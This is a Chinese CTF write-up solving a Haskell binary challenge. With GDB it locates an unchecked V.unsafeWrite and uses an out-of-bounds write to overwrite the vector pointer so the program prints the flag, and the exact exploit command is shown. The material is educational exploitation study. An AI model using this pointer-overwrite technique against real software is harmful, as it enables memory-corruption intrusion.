Skip to content

Latest commit

 

History

History
93 lines (71 loc) · 4.21 KB

一石二鸟.md

File metadata and controls

93 lines (71 loc) · 4.21 KB

一石二鸟

完全不会 Haskell。程序功能看代码猜一下就是了,大概功能是:

  1. 程序创建了一个长度 100 的数组(Vector),数组值初始化成 0;
  2. 用户输入一个 index 和一个 value,然后 Vector 中对应 index 的元素会被修改成 value
  3. 统计数组里有几个不是 0 的值,如果多于 1 个就输出 flag。

那个 V.unsafeWrite 明显就是要利用了后门。随便试一个越界的 index,触发 segfault,说明程序真的在越界写内存:

$ ./runme 1000000000 1
zsh: segmentation fault (core dumped)  ./runme 1000000000 1

上 GDB,触发 segfault,就能定位到写内存的指令:

(gdb) run 10000000 1
.......
Program received signal SIGSEGV, Segmentation fault.
0x00000000004094fc in ?? ()
(gdb) display/i $pc
1: x/i $pc
=> 0x4094fc:    mov    %rax,0x10(%rbx,%rcx,8)
(gdb) x/4gx $rbx
0x4200105758:   0x00000000005852b8      0x0000000000000320
0x4200105768:   0x0000000000000000      0x0000000000000000

这里观察一下内存 layout,能知道:

  • %rbx = 0x4200105758 是 Vector 数据结构存放的位置,这个位置头 8 byte 有个不知道干啥的值;
  • %rbx + 8 这里这个 0x320(100)应该是数组长度;
  • %rbx + 0x10 这里开始是数组的元素,并且从寻址方式看,数组元素是连续存储的。

加 watchpoint,看看哪里会读取写入的元素:

(gdb) b *0x4094fc
(gdb) run 10 100
(gdb) rwatch *0x42001057b8
Hardware read watchpoint 2: *0x42001057b8
(gdb) c
Hardware read watchpoint 2: *0x42001057b8
│    0x4095eb        cmpq   $0x0,0x10(%rax,%rcx,8)
│  > 0x4095f1        jne    0x409583

0x4095eb 这个 cmp 指令明显就是在比较元素是否为 0 了。

接下来 stepi 一步步跑,找到计数器 +1 的指令,这里可以人工改一下值看看是不是真的能拿到 flag:

│    0x4095ca        mov    0x48(%rsp),%rax
│  > 0x4095cf        inc    %rax
(gdb) set $rax=2
(gdb) c
Continuing.
count: 2
runme: flag.txt: openFile: does not exist (No such file or directory)

到这里程序运行流程基本是搞清楚了,没什么复杂的。

接下来我首先想到的思路是覆盖掉计数器,让它一开始不为0。然而试了试我很快发现这行不通,因为这个计数器是栈上分配的(上面 0x4095ca 指令的操作数 0x48(%rsp)),一来内核 ASLR 会随机化栈的位置没法定位,二来栈空间的初始化后面肯定会重新做,提前填了非0值也没用。

后来又想到覆盖掉 Vector 长度,使得循环跑越界,读到其他内存位置的非0值。然而会发现 100 次循环这个数字是直接写在指令里的,并不能覆盖:

│  > 0x4095e5        cmp    $0x64,%rcx
│    0x4095e9        jge    0x409622

这里不知道怎么做了。于是从已知关键断点前后跑了几步 stepi/reverse-stepi 找线索,然后发现一个事情 —— Vector 数据结构的地址并不是写进指令的,而是从另一个内存位置读出来的。虽然我不懂 Haskell,但高级语言里这么搞层指针指向实际的数据结构也很正常吧:

│  > 0x4094f4        mov    0x10(%rbp),%rbx
│    0x4094f8        mov    0x8(%rbp),%rcx
│    0x4094fc        mov    %rax,0x10(%rbx,%rcx,8)
(gdb) p $rbp - 0x10                                                                         
$3 = (void *) 0x42001fcfb8

我们看存这个指针的内存地址和它指向的 Vector 地址貌似在同一块内存区域,应该是编译时决定的,不会受到 ASLR 等运行时保护机制影响。于是现在产生了一个新的思路,就是覆盖掉这里指向的内存地址,使其指向一个有更多非0值的位置。这样的选择很多嘛,比如我选择了原来 Vector 地址之前的一个位置 0x4200105743(126734 是算出来的指针位置相对于数组起点的偏移量):

$ ./runme 126734 $((0x4200105743))
count: 2
runme: flag.txt: openFile: does not exist (No such file or directory)

远程测试时,会发现 126734 这个偏移量并不管用。试着加减几个数字,发现 126732 是管用的。尚不理解原因。zzh 说“出题人的说法是环境变量不同导致的偏移吧”,看起来出题人也不知道。